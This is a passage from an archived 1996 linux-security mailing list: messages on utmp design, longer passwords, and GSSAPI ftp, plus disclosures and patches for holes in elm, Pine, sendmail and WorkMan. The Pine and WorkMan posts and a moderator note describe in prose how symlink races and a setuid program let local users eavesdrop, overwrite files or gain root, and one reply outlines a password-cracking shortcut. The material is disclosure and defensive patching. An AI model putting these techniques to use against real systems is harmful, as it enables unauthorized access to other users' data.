on only one of my machines, all the others needed me to fix some of my headder files. There's only one problem, not all ftpds understand it: 220 cedar.cic.net FTP server (Version wu-2.4.2-academ[BETA-11](1) Thu Aug 29 11:24:00 EDT 1996) ready. 500 'AUTH GSSAPI': command not understood. But others running a ftpd that understands it will show this: wolverine:~> kinit Password for [email protected]: wolverine:~> ftp nic Connected to nic.hq.cic.net. 220 nic.hq.cic.net FTP server (Version 5.60) ready. 334 Using authentication type GSSAPI; ADAT must follow GSSAPI accepted as authentication type GSSAPI error major: Miscellaneous failure GSSAPI error minor: Server not found in Kerberos database GSSAPI error: initializing context GSSAPI authentication succeeded Name (nic:jared): 232 GSSAPI user [email protected] is authorized as jared 230 User jared logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> -jared [REW: Quoting trimmed.] From [email protected] Tue Sep 10 13:46:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id NAA23159; Tue, 10 Sep 1996 13:46:23 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago To: [email protected] (Aleph One) Date: Sun, 8 Sep 1996 17:05:30 -0400 (EDT) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Aleph One" at Sep 8, 96 03:55:21 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > A daemon is probably a better bet than a setuid root subprogram. Of > > course, communicating reliably with an arbitrary daemon is a trifle > > difficult. > > There already exists such a daemon. utmpd under Solaris 2.5. My understanding of utmpd is that it's a gross hack perpetrated to pick up the pieces because the normal mechanisms don't bother to remove utmp entries correctly. > It would be nice the have the same interface/protocol as the utmpd under > Solaris 2.5. Sadly it is compleatly undocumentet. Maybe someone with a > contact in Sun could ask. Or someone may want to reverse engineer it. This is because as far as I know there is no such interface. > > Also, the utmp file as it presently exists should be abolished. > > Still need to keep the information someplace. How about a db file that only the daemon accesses? Or at least a file format with some kind of header so you have some chance of being able to transparently add new fields... -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 linux-security/linux-security.960911100664 1767 1767 21151 6215633450 16650 0ustar majdommajdomFrom [email protected] Wed Sep 11 16:47:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA09654; Wed, 11 Sep 1996 16:47:24 -0400 Message-ID: <[email protected]> From: Yoji Tanaka To: "'[email protected]'" Subject: [linux-security] password for over 8 charactes Date: Mon, 9 Sep 1996 08:49:39 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list I am looking for password system that allows over 8 characters for linux shadow password. If you know some, please email me. Thanks in advance. Yoji From [email protected] Wed Sep 11 18:02:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA10403; Wed, 11 Sep 1996 18:02:42 -0400 Date: Tue, 10 Sep 1996 01:53:02 +0500 From: jna Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] Fix available for elm 2.4 filter security hole Sender: [email protected] Precedence: list I don't know if a patch has been made available for the security hole in ELM's filter (version 2.4PL25), but as of patch level 25, the bug still exists. Users can read the electronic mail of any user they choose with a simple exploit script (which has been published on the list before, so I won't rehash it here again) Basically, I've written a simple, blanket (bleh!) fix for filter that prevents filter from opening any symbolic links while it's running. If you know of a patch for filter that has fixed this already, let me know, otherwise, if you need a copy of this patch, send me mail. :) --john From [email protected] Wed Sep 11 18:02:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA10416; Wed, 11 Sep 1996 18:02:48 -0400 Date: Sun, 8 Sep 1996 21:05:45 -0500 (CDT) From: Aleph One To: David Holland Cc: [email protected], [email protected], [email protected] Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 8 Sep 1996, David Holland wrote: > My understanding of utmpd is that it's a gross hack perpetrated to > pick up the pieces because the normal mechanisms don't bother to > remove utmp entries correctly. Huh. I see. > This is because as far as I know there is no such interface. Guess linux defines one then. Might want to ask the folk working on PAM-Linux as this would fall under the session module of PAM. I'am sure they will have some suggestions. > How about a db file that only the daemon accesses? Or at least a file > format with some kind of header so you have some chance of being able > to transparently add new fields... Agreed. > -- > - David A. Holland | Number of words in the English language that > [email protected] | exist because of typos or misreadings: 381 > Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 From [email protected] Wed Sep 11 18:02:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA10435; Wed, 11 Sep 1996 18:02:57 -0400 Message-Id: <[email protected]> Subject: [linux-security] Re: password for over 8 charactes To: [email protected] Date: Tue, 10 Sep 1996 19:46:32 +0200 (MET DST) From: [email protected] (Rogier Wolff) Content-Type: text Sender: [email protected] Precedence: list Yoji Tanaka wrote: > I am looking for password system that allows over 8 characters for > linux shadow password. If you know some, please email me. Beware: The "longer password" implementation that I've seen so far just makes it easier for a hacker to hack the passwords once he has a copy of the encrypted password file. As an example: Lets assume that I choose my passwords from /usr/dict/words. This is an invalid assumption, but it will show the principle. A crack run would then have to handle 45000 passwords (on my system). When the password passes 8 chars, it shows clearly in the password file: Only 17000 entries over 8 chars left.... Next I can run crack exhaustively (for a few chars) on the > 8 chars part. 3 chars is about 17000 tries. Then you have the last 3 chars of the word chosen and a simple grep in the "list-of-tries" wil suffice to bring the number of words down to a handful. More realistically you would have a larger set of words to try. This would make this approach even more interesting. Running exhaustively for 4 chars is really an option..... Roger. From [email protected] Wed Sep 11 18:03:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA10463; Wed, 11 Sep 1996 18:03:13 -0400 Date: Tue, 10 Sep 1996 17:26:06 -0800 (ADT) From: "Liam O. Forbes" To: [email protected] cc: [email protected], [email protected] Subject: [linux-security] Pine security problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- This is in regards to the "fix" of the possible security problem in Pine < v3.95. Pine 3.95 does indeed check for symbolic links, now, before creating a mail lock file. However it has the same problem in another part of the program. I have verified the problem in Pine 3.95 & Pine 3.91 using Irix 5.3. I'll be looking into it on my Linux home system, but it's probably there too. While upgrading to the Pine 3.95, it was discovered that the alternate editor feature creates a file "/tmp/pico.pid" where pid is the id of the active Pine session. If you use the alternate editor feature, and a symbolic link exists with the desired name, the link isn't checked like the mail lock file is, and the editor dumps everything into the file pointed to by the symbolic link. This can lead to several possible security breaches via: 1. the ability to mangle a target file. 2. the ability to eavesdrop on composed messages. 3. (if you are really fancy) the ability to set up at least one bogus .rhosts entry by sending email to someone who responds to email by quoting entire files. There are probably several other things that can be done via this /tmp file problem (and have been). To see the exact problem: 1. set the editor variable in ~/.pinerc to something like /bin/vi. 2. start up pine 3. do a long listing of /tmp 4. start composing a message in pine, switch to the alternate editor via ^_ 5. do another long listing of /tmp 6. That "pico.###" file is the problem. As long as you are running the current pine session, anyone can create a link with that name and, at the least, capture whatever you write into your mail message. Finally, when you exit the alternate editor, it deletes the /tmp file If it was a link, the link gets deleted. No evidence of tampering remains. What about using random file names and checking if those exist? The current fix for the mail lock file seems like the work of a lazy programmer. Liam Forbes [email protected] http://www.arsc.edu/~lforbes Box 756020 910 Yukon Dr. Suite 106 Fairbanks Ak 99775-6020 907-474-1898 fax: 907-474-5494 finger: Geek code & PGP pub key High Performance Computing Systems Programmer/Analyst I -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMjYUG3j93TwzW72NAQHiqAQAksEXmJpfPUvrZizEL9ZJ2V+XASY68rfJ SQXYrIg9Zrhi0xi/ZpJBEk6Zzdc16d+ccdXmE6w3z0Siqq8xnN5X3N90+ENL7CeV KHC0xfRHmDcIrs7KAbeBA9mCO0O28uY8j7fv9ELL4fxcnoS60fXL2Vmps8ii4eR6 I4PPC9IBoYw= =Sxqi -----END PGP SIGNATURE----- [REW: I don't think the "random filename" idea is a good idea. It can easily be spoofed. "checking if a file exists" is also easily tricked. Create a link, and rename it to the expected filename and back to something else really quick. When the target program checks (file doesn't exist), a process switch occurs. You rename the link. Next the program opens the link....] linux-security/linux-security.960912100664 1767 1767 32575 6216120571 16661 0ustar majdommajdomFrom [email protected] Thu Sep 12 11:00:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA16773; Thu, 12 Sep 1996 11:00:07 -0400 From: Thomas Roessler Message-Id: <[email protected]> Subject: [linux-security] From bugtraq: sendmail-8.7.5 To: [email protected] Date: Thu, 12 Sep 1996 16:52:13 +0200 (MET DST) Cc: [email protected] (Thomas Roessler) Organization: Ibyxfsebag mhe Orservhat qrf Hfrargf. MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list There is a buffer-overflow problem in sendmail 8.7.5: The gecos field is being written to a fixed-size buffer; this may be used to get root on systems where users can modify their real name by using chfn(1). Inserting the following code after line 470 of src/util.c should fix the problem: if(l >= MAXNAME) { /* -tlr */ syslog(LOG_NOTICE, "POSSIBLE ATTACK from user %d!", getuid()); *bp = '\0'; return; } The bugtraq posting additionally claims that the problem has been fixed in 8.8beta. tlr From [email protected] Thu Sep 12 12:02:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA17756; Thu, 12 Sep 1996 12:02:19 -0400 From: Thomas Roessler Message-Id: <[email protected]> Subject: [linux-security] Re: sendmail-8.7.5 To: [email protected] (Thomas Roessler) Date: Thu, 12 Sep 1996 17:56:35 +0200 (MET DST) Cc: [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from Thomas Roessler at "Sep 12, 96 04:33:31 pm" MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list * Thomas Roessler wrote: > > if(l >= MAXNAME) { /* -tlr */ > syslog(LOG_NOTICE, "POSSIBLE ATTACK from user %d!", getuid()); Make that syslog(LOG_NOTICE, "POSSIBLE ATTACK from user %s!", login); > *bp = '\0'; > return; > } Sorry for the inconvenience. tlr From [email protected] Thu Sep 12 15:27:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id PAA18906; Thu, 12 Sep 1996 15:27:02 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Matt) Newsgroups: mail.linux.security Subject: Re: [linux-security] Re: sendmail-8.7.5 Date: 12 Sep 1996 13:08:03 -0400 Organization: DataHaven Project +1 412 421 4516 (DHP.COM) Lines: 80 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list Patches for Sendmail-8.7.5 to incorporate the buildfname buflen check from sendmail-8.8-beta2. Tossed together when I should have been at work on 12 Sep 1996. -Matt ([email protected]) http://www.dhp.com/ -------------------------------SNIP----------------------------------- diff -u --recursive ../../sendmail-8.7.5/src/envelope.c ./envelope.c --- ../../sendmail-8.7.5/src/envelope.c Sat Nov 11 14:07:50 1995 +++ ./envelope.c Thu Sep 12 12:12:05 1996 @@ -777,7 +777,7 @@ strcmp(pw->pw_name, e->e_from.q_user) == 0 && !internal) { - buildfname(pw->pw_gecos, e->e_from.q_user, buf); + buildfname(pw->pw_gecos, e->e_from.q_user, buf, sizeof buf); if (buf[0] != '\0') FullName = newstr(buf); } diff -u --recursive ../../sendmail-8.7.5/src/recipient.c ./recipient.c --- ../../sendmail-8.7.5/src/recipient.c Mon Oct 30 15:44:17 1995 +++ ./recipient.c Thu Sep 12 12:11:11 1996 @@ -535,7 +535,7 @@ a->q_gid = pw->pw_gid; a->q_ruser = newstr(pw->pw_name); a->q_flags |= QGOODUID; - buildfname(pw->pw_gecos, pw->pw_name, nbuf); + buildfname(pw->pw_gecos, pw->pw_name, nbuf, sizeof nbuf); if (nbuf[0] != '\0') a->q_fullname = newstr(nbuf); if (!usershellok(pw->pw_name, pw->pw_shell)) @@ -743,7 +743,7 @@ } # endif - buildfname(pw->pw_gecos, pw->pw_name, buf); + buildfname(pw->pw_gecos, pw->pw_name, buf, sizeof buf); if (strchr(buf, ' ') != NULL && !strcasecmp(buf, name)) { if (tTd(29, 4)) diff -u --recursive ../../sendmail-8.7.5/src/util.c ./util.c --- ../../sendmail-8.7.5/src/util.c Mon Mar 4 12:13:21 1996 +++ ./util.c Thu Sep 12 12:23:12 1996 @@ -383,10 +383,11 @@ */ void -buildfname(gecos, login, buf) +buildfname(gecos, login, buf,buflen) register char *gecos; char *login; char *buf; + int buflen; { register char *p; register char *bp = buf; @@ -404,7 +405,22 @@ else l++; } - + if (l > buflen - 1) + { + /* not a good sign */ + if (strlen(gecos) > (SIZE_T) buflen - 1) + { + /* even worse */ + strncpy(buf, gecos, buflen - 1); + buf[buflen - 1] = '\0'; + } + else + { + strcpy(buf, gecos); + } + return; + } + /* now fill in buf */ for (p = gecos; *p != '\0' && *p != ',' && *p != ';' && *p != '%'; p++) { -- -Matt ([email protected]) -- DataHaven Project - http://www.dhp.com/ "That which can never be enforced should not be prohibited." From [email protected] Thu Sep 12 17:03:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id RAA19405; Thu, 12 Sep 1996 17:03:15 -0400 Message-Id: <[email protected]> To: Jared Mauch Cc: [email protected] (Andrew Morgan), [email protected], [email protected] Subject: Re: [linux-security] GSSAPI for Linux In-Reply-To: Your message of "Mon, 09 Sep 1996 03:58:35 EDT." <[email protected]> Date: Thu, 12 Sep 1996 13:15:54 -0700 From: Jeff Cook Sender: [email protected] Precedence: list > [REW: About GSSAPI:] > > Yes. I use it on all my systems. > > It comes with kerberos5. You can get that from > ftp://athena-dist.mit.edu/pub/ATHENA/kerberos FYI, a Java-based front end to this GSS-API package can be found at: http://choices.cs.uiuc.edu/Security/JGSS/jgss.html ...Jeff From [email protected] Thu Sep 12 19:48:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA21020; Thu, 12 Sep 1996 19:48:05 -0400 From: "Andrew G. Morgan" Message-Id: <[email protected]> Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago To: [email protected] (Linux Security) Date: Wed, 11 Sep 1996 17:33:19 -0700 (PDT) Content-Type: text Sender: [email protected] Precedence: list Aleph One wrote: > On Sun, 8 Sep 1996, David Holland wrote: > > This is because as far as I know there is no such interface. > > Guess linux defines one then. Might want to ask the folk working on > PAM-Linux as this would fall under the session module of PAM. I'am sure > they will have some suggestions. > Sun (who defined the PAM API) have not been very helpful with this. Basically, for all the reasons that you have already discussed [in summary, there is no standard] they decided to leave utmp maintenance up to the applications. We would all welcome a standard, it would be a simple thing to make a session module that PAM aware applications could make use of. If someone can come up with a coherent scheme, I'd be more than happy to (help) implement it. Regards Andrew ---> Linux-PAM-0.52: http://parc.power.net/morgan/Linux-PAM/index.html From [email protected] Thu Sep 12 19:49:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA21067; Thu, 12 Sep 1996 19:49:06 -0400 Date: Wed, 11 Sep 1996 22:21:15 -0500 Message-Id: <[email protected]> From: Joshua Cowan To: [email protected] (Rogier Wolff) Cc: [email protected] Subject: [linux-security] Re: password for over 8 charactes In-Reply-To: <[email protected]> References: <[email protected]> X-Attribution: JC X-Mailer: VM 5.95 (beta); GNU Emacs 19.34.1 X-NSA-Fodder: Delta Force Honduras plutonium jihad terrorist cracking X-Tom-Swifty: "My stained-glass windows are leaking," Tom said leadenly. Sender: [email protected] Precedence: list >>>>> "RW" == Rogier Wolff writes: RW> When the password passes 8 chars, it shows clearly in the RW> password file: Only 17000 entries over 8 chars left.... The shadow password suite (maintained by Marek Michalkiewicz) includes an implementation of a MD5-based crypt (since March; I don't know if any subsequent versions have been officially released). This overcomes the mentioned weakness while allowing passwords up to 128 characters in length. RW> Next I can run crack exhaustively The MD5-crypt implementation is also purposefully designed to be slow. [REW: As was crypt when it was designed.... ] -- Joshua Cowan _____________________ http://hermit.reslife.okstate.edu/~jcowan/ | Comp Sci Student "Very funny, Scotty. Now beam down my clothes." | OSU - Stillwater, OK PGP public key available from any PGP keyserver; get key ID 0x2CB9B63D. From [email protected] Thu Sep 12 19:49:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA21081; Thu, 12 Sep 1996 19:49:12 -0400 From: Chris Adams Message-Id: <[email protected]> Subject: Re: [linux-security] Fix available for elm 2.4 filter security hole To: [email protected] (jna) Date: Wed, 11 Sep 1996 23:35:35 -0500 (CDT) Cc: [email protected] In-Reply-To: <[email protected]> from "jna" at Sep 10, 96 01:53:02 am Reply-To: [email protected] Organization: None really Content-Type: text Sender: [email protected] Precedence: list Once upon a time, jna wrote > I don't know if a patch has been made available for > the security hole in ELM's filter (version 2.4PL25), > but as of patch level 25, the bug still exists. > > Users can read the electronic mail of any user they choose with a simple > exploit script (which has been published on the list before, so I won't > rehash it here again) > > Basically, I've written a simple, blanket (bleh!) fix for filter that > prevents filter from opening any symbolic links while it's running. > > If you know of a patch for filter that has fixed this already, let me know, > otherwise, if you need a copy of this patch, send me mail. :) Well, I tried the copy of the script that worked under Slackware 3.0, and it does not appear to work under RedHat 3.0.3. I looked at the source rpm, and it has the included patch. -- Chris Adams - [email protected] - System Admin - Renaissance Internet Services "So, if anybody wants to have hardware sent to them: don't call me, but instead write your own unix operating system. It has worked every time for me." - Linus Torvalds, author of Linux (Unix-like) OS --- elm-2.4.24c/filter/actions.c.marc Tue Aug 3 15:28:40 1993 +++ elm-2.4.24c/filter/actions.c Thu Jan 25 11:44:15 1996 @@ -96,11 +96,17 @@ * else, that we'll try to do nice things with it on the fly... */ + uid_t euid; + gid_t egid; + FILE *pipefd, *tempfd, *mailfd; int in_header = TRUE, line_count = 0, mailunit, pid, statusp; char tempfile[SLEN], mailbox[SLEN], buffer[VERY_LONG_STRING], *cp; + euid = geteuid(); + egid = getegid(); + if (verbose && ! log_actions_only && outfd != NULL) fprintf(outfd, catgets(elm_msg_cat,FilterSet,FilterMailingMessage, "filter (%s): Mailing message to %s\n"), @@ -109,6 +115,9 @@ if (! show_only) { sprintf(tempfile, "%s.%d", filter_temp, getpid()); + setuid(user_uid); + setgid(user_gid); + if ((tempfd = fopen(tempfile, "r")) == NULL) { if (outfd != NULL) fprintf(outfd, catgets(elm_msg_cat,FilterSet, @@ -118,6 +127,9 @@ if (outfd != NULL) fclose(outfd); exit(1); } + + setuid(euid); + setgid(egid); if (strcmp(address, username) != 0) { /* mailing to someone else */ @@ -351,6 +363,12 @@ char filename[SLEN], buffer[SLEN]; int fdunit; + uid_t euid; + gid_t egid; + + setuid(user_uid); + setgid(user_gid); + sprintf(filename, "%s.%d", filter_temp, filter_pid); if ((fdunit = open(foldername, @@ -365,14 +383,21 @@ } fd = fdopen(fdunit,"a"); + setuid(user_uid); + setgid(user_gid); + if ((tempfd = fopen(filename, "r")) == NULL) { if (outfd != NULL) fprintf(outfd,catgets(elm_msg_cat,FilterSet, FilterCantOpenTempFile3, "filter (%s): can't open temp file %s for reading!\n"), date_n_user(),filename); + setuid(euid); + setgid(egid); return(1); } + setuid(euid); + setgid(egid); while (fgets(buffer, sizeof(buffer), tempfd) != NULL) fputs(buffer, fd); linux-security/linux-security.960916100664 1767 1767 56320 6217300605 16656 0ustar majdommajdomFrom [email protected] Mon Sep 16 12:33:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA08635; Mon, 16 Sep 1996 12:33:24 -0400 Resent-Date: Mon, 16 Sep 1996 12:19:56 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] X-Received: from cheetah.llnl.gov by dfw.dfw.net (4.1/SMI-4.1) id AA17826; Fri, 30 Aug 96 15:39:19 CDT X-Received: from cheetah.llnl.gov by cheetah.llnl.gov (8.7.5/LLNL-2.0) id NAA16956; Fri, 30 Aug 1996 13:40:32 -0700 (PDT) Originator: [email protected] X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas Mime-Version: 1.0 X-Mailer: Microsoft Internet Mail 4.70.1132 Message-ID: <[email protected]> From: Marcey Kelley To: Multiple recipients of list BUGTRAQ Subject: [linux-security] CIAC Bulletin G-42:Vulnerability in WorkMan Program Date: Mon, 2 Sep 1996 22:47:43 -0500 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list [Mod: Forwarded from Bugtraq. --Jeff.] -----BEGIN PGP SIGNED MESSAGE----- __________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ INFORMATION BULLETIN Vulnerability in WorkMan Program August 29, 1996 15:00 GMT Number G-42 ______________________________________________________________________________ PROBLEM: When the "WorkMan" compact disc playing program is installed set-user-id "root", it can be used to make any file on the system world-writable. PLATFORM: Linux, UNIX System V Release 4.0 (and derivatives). DAMAGE: A non-privileged user can use "WorkMan" to make any file on the system world-writable, and then modify that file's contents. This vulnerbility can allow the user to create accounts, destroy log files, and perform other unauthorized actions. SOLUTION: Apply the patches listed in the vendor bulletin below. ______________________________________________________________________________ VULNERABILITY This vulnerability is becoming widely known. ASSESSMENT: ______________________________________________________________________________ [Begin IBM Bulletin] - - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-ERS-ALERT - - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 28 August 1996 18:00 GMT Number: ERS-SVA-E01-1996:005.1 ============================================================================= VULNERABILITY SUMMARY VULNERABILITY: When the "WorkMan" compact disc playing program is installed set-user-id "root," it can be used to make any file on the system world-writable. PLATFORMS: Linux, UNIX System V Release 4.0 (and derivatives) SOLUTION: Remove the set-user-id bit from the "workman" program. THREAT: A non-privileged user can use "WorkMan" to make any file on the system world-writable, and then modify that file's contents. ============================================================================= DETAILED INFORMATION NOTE: This advisory is NOT a re-hash of the problem reported on several lists earlier this week by a group calling itself "r00t." The vulnerability described by "r00t" is essentially a subset of the problem described in this alert. I. Description "WorkMan" is a popular program used for playing audio compact disks on local workstation CD-ROM drives that is widely available from many sites around the Internet. Versions of "WorkMan" are also included with some operating system distributions, such as Linux. On systems where "WorkMan" was built and installed using the procedures that are given in "Makefile.linux" or "Makefile.svr4" (in general, this means on Linux systems and UNIX System V Release 4.0 systems), the "workman" program is installed set-user-id "root." This means that when the program is run, it will execute with super-user permissions. In order to allow signals to be sent to it, "WorkMan" writes its process-id to a file called "/tmp/.wm_pid." The "-p" option to the program allows the user to specify a different file name in which to record this information. When a file is specified with "-p", "WorkMan" simply attempts to create and/or truncate the file, and if this succeeds, "WorkMan" changes the permissions on the file so that it is world-readable and world-writable. In the general case, when "WorkMan" is installed without the set-user-id bit set, the normal file access permissions provided by the operating system will prevent users from creating or truncating files they are not authorized to create or truncate. However, when "WorkMan" is installed set-user-id "root," this process breaks down (because "root" is allowed to create/truncate any file). II. Impact A user executing a set-user-id "root" version of "WorkMan" can use the "-p" option to create a file anywhere in the file system, or to truncate any file in the file system. More importantly, the file specified with "-p" will be world-readable and world-writable when "WorkMan" is finished. This can enable the user to create accounts, destroy log files, and perform other unauthorized actions. III. Solutions "WorkMan" does not require the set-user-id bit to work; it is installed this way only on systems that do not make the CD-ROM device file world-readable by default. This vulnerability can be alleviated by: 1) Removing the set-user-id bit from the "WorkMan" program, via a command such as chmod u-s /usr/local/bin/workman and 2) Making the CD-ROM device world-readable, via a command such as chmod +r /dev/cdrom Note that on multi-user systems, part (2) of the above procedure will allow any user to access the contents of the disc installed in the CD-ROM; this may not be desirable in all environments. IV. Acknowledgements IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the IBM T. J. Watson Research Center for their discovery of this vulnerability, bringing it to our attention, providing the steps to fix it, and assistance in developing this alert. UNIX is a technology trademark of X/Open Company, Ltd. =============================================================================== [End IBM Bulletin] _______________________________________________________________________________ CIAC wishes to acknowledge the contributions of IBM for the information contained in this bulletin. _______________________________________________________________________________ CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 510-422-8193 FAX: +1 510-423-8002 STU-III: +1 510-423-2604 E-mail: [email protected] For emergencies and off-hour assistance, DOE, DOE contractor sites, and the NIH may contact CIAC 24-hours a day. During off hours (5PM - 8AM PST), call the CIAC voice number 510-422-8193 and leave a message, or call 800-759-7243 (800-SKY-PAGE) to send a Sky Page. CIAC has two Sky Page PIN numbers, the primary PIN number, 8550070, is for the CIAC duty person, and the secondary PIN number, 8550074 is for the CIAC Project Leader. Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://ciac.llnl.gov/ Anonymous FTP: ciac.llnl.gov (128.115.19.53) Modem access: +1 (510) 423-4753 (28.8K baud) +1 (510) 423-3331 (28.8K baud) CIAC has several self-subscribing mailing lists for electronic publications: 1. CIAC-BULLETIN for Advisories, highest priority - time critical information and Bulletins, important computer security information; 2. CIAC-NOTES for Notes, a collection of computer security articles; 3. SPI-ANNOUNCE for official news about Security Profile Inspector (SPI) software updates, new features, distribution and availability; 4. SPI-NOTES, for discussion of problems and solutions regarding the use of SPI products. Our mailing lists are managed by a public domain software package called ListProcessor, which ignores E-mail header subject lines. To subscribe (add yourself) to one of our mailing lists, send the following request as the E-mail message body, substituting CIAC-BULLETIN, CIAC-NOTES, SPI-ANNOUNCE or SPI-NOTES for list-name and valid information for LastName FirstName and PhoneNumber when sending E-mail to [email protected]: subscribe list-name LastName, FirstName PhoneNumber e.g., subscribe ciac-notes OHara, Scarlett W. 404-555-1212 x36 You will receive an acknowledgment containing address, initial PIN, and information on how to change either of them, cancel your subscription, or get help. PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained by sending email to [email protected] with an empty subject line and a message body containing the line: send first-contacts. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) G-32: HP-UX Vulnerabilities in expreserve, rpc.pcnfsd, rpc.statd G-33: rdist vulnerability G-34: HP-UX Vulnerabilities (netttune, SAM remote admin) G-35: SUN Microsystems Solaris vold Vulnerability G-36: HP-UX Vulnerabilities in elm and rdist Programs G-37: Vulnerability in Adobe FrameMaker (fm_fls) G-38: Linux Vulnerabilities in mount and umount Programs G-39: Vulnerability in expreserve G-40: SGI admin and user Program Vulnerabilities G-41: Vulnerability in BASH Program RECENT CIAC NOTES ISSUED (Previous Notes available from CIAC) Notes 07 - 3/29/95 A comprehensive review of SATAN Notes 08 - 4/4/95 A Courtney update Notes 09 - 4/24/95 More on the "Good Times" virus urban legend Notes 10 - 6/16/95 PKZ300B Trojan, Logdaemon/FreeBSD, vulnerability in S/Key, EBOLA Virus Hoax, and Caibua Virus Notes 11 - 7/31/95 Virus Update, Hats Off to Administrators, America On-Line Virus Scare, SPI 3.2.2 Released, The Die_Hard Virus Notes 12 - 9/12/95 Securely configuring Public Telnet Services, X Windows, beta release of Merlin, Microsoft Word Macro Viruses, Allegations of Inappropriate Data Collection in Win95 Notes 96-01 - 3/18/96 Java and JavaScript Vulnerabilities, FIRST Conference Announcement, Security and Web Search Engines, Microsoft Word Macro Virus Update -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition iQCVAgUBMicE47nzJzdsy3QZAQGRCQQAiA9WGkaF14qx8/7X3qvEicuv23dBgrlV siE/Jcq7yBMtuDCThMk9nDbDf1fGLUyysZ/MeeS9ybBpWJxzgWL2iXP9f0yBRtap siGX0ij+7LKrexR5nWBsdf7jZF34qaqU8xRlBHxbC7QiZIZD7SMtl9ZYBsflN8nP CFT0bTnpUOk= =PYbw -----END PGP SIGNATURE----- From [email protected] 